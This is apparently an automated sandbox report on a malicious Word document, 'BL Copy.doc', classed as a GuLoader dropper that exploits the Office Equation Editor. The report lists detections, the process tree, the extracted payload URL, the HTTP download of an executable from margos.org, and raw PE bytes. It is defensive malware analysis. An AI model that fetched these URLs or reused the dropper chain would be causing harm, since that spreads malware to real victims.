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Windows Analysis Report
BL Copy.doc

Overview

General Information

Sample Name:	BL Copy.doc
Analysis ID:	558760
MD5:	2fea7c43cd327113333de7ff54800979
SHA1:	b2cf7c97bbfec5b765ee9402f57440910ec89e8b
SHA256:	6ed3aca39d91726d1f16ecb2fa8fc5cc38fa4cce1355bfd5186d2a22769e806c
Tags:	doc
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Yara detected GuLoader

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office equation editor drops PE file

C2 URLs / IPs found in malware configuration

Document has an unknown application name

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Document misses a certain OLE stream usually present in this Microsoft Office document type

Abnormal high CPU Usage

Document contains Microsoft Equation 3.0 OLE entries

Document contains no OLE stream with summary information

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2420 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 2684 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

Puportd92.exe (PID: 2960 cmdline: C:\Users\user\AppData\Roaming\Puportd92.exe MD5: 37FC2AA213D1607545A9B876F4AA543E)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://bangladeshshoecity.com/im"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 131.153.37.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2684, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2684, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe

System Summary

Sigma detected: Droppers Exploiting CVE-2017-11882

Source: Process started

Author: Florian Roth: Data: Command: C:\Users\user\AppData\Roaming\Puportd92.exe, CommandLine: C:\Users\user\AppData\Roaming\Puportd92.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Puportd92.exe, NewProcessName: C:\Users\user\AppData\Roaming\Puportd92.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Puportd92.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2684, ProcessCommandLine: C:\Users\user\AppData\Roaming\Puportd92.exe, ProcessId: 2960

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://bangladeshshoecity.com/im"}

Multi AV Scanner detection for submitted file

Source: BL Copy.doc	Virustotal: Detection: 27%			Perma Link
Source: BL Copy.doc	ReversingLabs: Detection: 20%

Antivirus detection for URL or domain

Source: http://margos.org/dda/SYNT.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: margos.org	Virustotal: Detection: 7%			Perma Link
Source: http://margos.org/dda/SYNT.exe	Virustotal: Detection: 11%			Perma Link

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp

Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\Puportd92.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\Puportd92.exe

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr

Stream path '_1704534972/\x1CompObj' : ...........................F....Microsoft Equation

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_00406873 FindFirstFileW,FindClose,
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0040290B FindFirstFileW,

Source: global traffic

DNS query: name: margos.org

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 131.153.37.3:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 131.153.37.3:80

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://bangladeshshoecity.com/im

Source: Joe Sandbox View

ASN Name: SSASN2US SSASN2US

Source: Joe Sandbox View

IP Address: 131.153.37.3 131.153.37.3

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 24 Jan 2022 12:11:08 GMTServer: ApacheLast-Modified: Sun, 23 Jan 2022 21:05:28 GMTAccept-Ranges: bytesContent-Length: 95264Keep-Alive: timeout=5, max=200Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 55 80 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 5f 01 00 80 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /dda/SYNT.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: margos.orgConnection: Keep-Alive

Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Puportd92.exe, 00000004.00000002.745588168.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Puportd92.exe, 00000004.00000000.414258604.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Puportd92.exe.2.dr, SYNT[1].exe.2.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF251CD5-FF6C-451C-B429-835255A63BB9}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: margos.org

Source: global traffic

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

System Summary

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\Puportd92.exe			Jump to dropped file

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr

OLE indicator application name: unknown

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0040755C
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_00406D85
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_729A1BFF
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379559A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03793D5A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379734F
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03793B22
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03796D17
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_037915FB
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_037939FE
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_037941F1
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379719A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379767A
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379744F
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03795435
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03790217
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_037952F8
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03793A95
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03795881

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379559A NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_037952F8 NtAllocateVirtualMemory,

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Process Stats: CPU usage > 98%

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr

OLE indicator has summary info: false

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Memory allocated: 76E90000 page execute and read and write

Source: BL Copy.doc	Virustotal: Detection: 27%
Source: BL Copy.doc	ReversingLabs: Detection: 20%

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$L Copy.doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE197.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.winDOC@4/13@1/1

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_004021AA CoCreateInstance,

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: BL Copy.doc

Static file information: File size 1786089 > 1048576

Source: ~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_729A30C0 push eax; ret
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03792EF0 push es; iretd

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	File created: C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\Puportd92.exe	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2696

Thread sleep time: -300000s >= -30000s

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_037952EA rdtsc

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_00406873 FindFirstFileW,FindClose,
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0040290B FindFirstFileW,

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	API call chain: ExitProcess graph end node

Source: Puportd92.exe, 00000004.00000002.745631325.00000000008D4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

